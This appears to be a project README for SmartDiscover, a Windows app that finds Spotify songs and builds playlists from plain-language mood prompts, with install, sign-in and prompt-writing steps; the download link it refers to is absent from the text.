SmartDiscover helps you find music with plain words. You type a mood, a scene, or a feeling, and it returns Spotify picks that fit what you want. It can also build a playlist with one click.
Use it when you want music for:
- A calm work session
- A late-night drive
- A workout with more energy
- Focus time with fewer vocals
- Songs that match a mood or theme
Before you start, make sure you have:
- A Windows PC
- A stable internet connection
- A Spotify account
- Enough free space for the app and its data
- A modern web browser such as Chrome, Edge, or Firefox
SmartDiscover runs through a web app on your computer, so you do not need to know any coding steps to use it.
Visit this page to download and run the app files:
On that page, look for the latest release, app file, or setup package for Windows. Download the file to your computer, then open it to start the app.
Follow these steps on your Windows PC:
- Open the download link above.
- Find the latest Windows file.
- Download the file to your Downloads folder.
- If the file is a ZIP folder, right-click it and choose Extract All.
- Open the extracted folder.
- Find the app file and double-click it.
- If Windows asks for permission, choose Yes.
- Wait for the app to finish starting.
If the app opens in your browser, keep that tab open while you use SmartDiscover.
SmartDiscover needs access to your Spotify account to create playlists.
- Open SmartDiscover in your browser.
- Click the Spotify sign-in button.
- Log in with your Spotify account.
- Allow the app to access your account when asked.
- Return to the app after sign-in finishes.
Use the account that you want the playlist saved to. If you use a shared computer, sign out of Spotify when you are done.
- Open the app.
- Type a mood prompt in plain language.
- Pick the kind of sound you want.
- Review the ranked Spotify results.
- Choose the songs you like.
- Click to create a playlist.
You can type prompts like:
- mellow songs for a rainy evening
- upbeat tracks for cleaning the house
- soft indie music for reading
- energetic pop for a workout
- deep focus music with no vocals
The app reads your prompt, compares it with music data, and ranks songs that fit best.
Try prompts such as:
- quiet songs for studying at night
- happy music for a weekend morning
- dramatic soundtrack for a game session
- old-school rap with strong bass
- chill electronic music for a short break
Short prompts work well. You can also add detail for a better match:
- calm jazz for dinner with low volume
- energetic rock for a bike ride
- sad acoustic songs after a long day
- Natural-language music search
- Ranked Spotify song results
- Playlist creation with one click
- Mood-based discovery
- Multi-agent AI matching
- Fast web interface
- Easy Spotify account connection
The app uses more than one AI step to improve the match. One part reads your prompt, another part helps sort the results, and another part helps shape the final playlist.
If SmartDiscover does not start, try these steps:
- Close the app.
- Open it again from the same file or folder.
- Check your internet connection.
- Make sure Spotify sign-in worked.
- Refresh the browser page if the app uses one.
- Try a different browser if the page does not load.
- Restart your computer and open the app again.
If you still have trouble, download the latest file again from the project page and try a fresh copy.
Use clear prompts. The app works best when you tell it the mood, use case, or sound you want.
Good prompts:
- music for focus while coding
- soft songs for a quiet room
- fast songs for a run
- dreamy pop for late night
- warm acoustic tracks for coffee time
You can also mention:
- Genre
- Energy level
- Time of day
- Activity
- Feeling
- Whether you want vocals or no vocals
SmartDiscover looks at your prompt and compares it with music signals such as:
- Mood
- Style
- Energy
- Tempo
- Genre
- Track fit for the request
Then it sorts the songs so the best match appears near the top. This helps you save time when you do not want to search through many playlists by hand.
SmartDiscover fits many kinds of listening:
- Study sessions
- Gym playlists
- Dinner music
- Sleep wind-down tracks
- Road trip mixes
- Party songs
- Background music for work
- Soundtracks for creative tasks
If you often spend time searching for the right music, this app gives you a faster path to a playlist that matches your taste.
This project uses tools and ideas from:
- FastAPI
- LLM
- Multi-agent systems
- Music recommendation
- Natural language processing
- OpenRouter
- Playlist generator
- Python
- Recommender system
- Spotify API
After download, you may see files such as:
- An app launcher
- A folder with support files
- A config file
- A browser-based app folder
- A README file
- A data folder for results or cache
Keep the folder together if the app uses multiple files. Do not move random files out of the folder.
If this is your first time using a GitHub app:
- Open the download link.
- Find the latest release or Windows file.
- Download it.
- Open the file.
- Allow access if Windows asks.
- Sign in to Spotify.
- Type a mood prompt.
- Create your playlist.
That is all you need to start using SmartDiscover on Windows.
Visit this page to download and run the app files:
If you need a fresh copy later, use the same link and get the latest version from the project page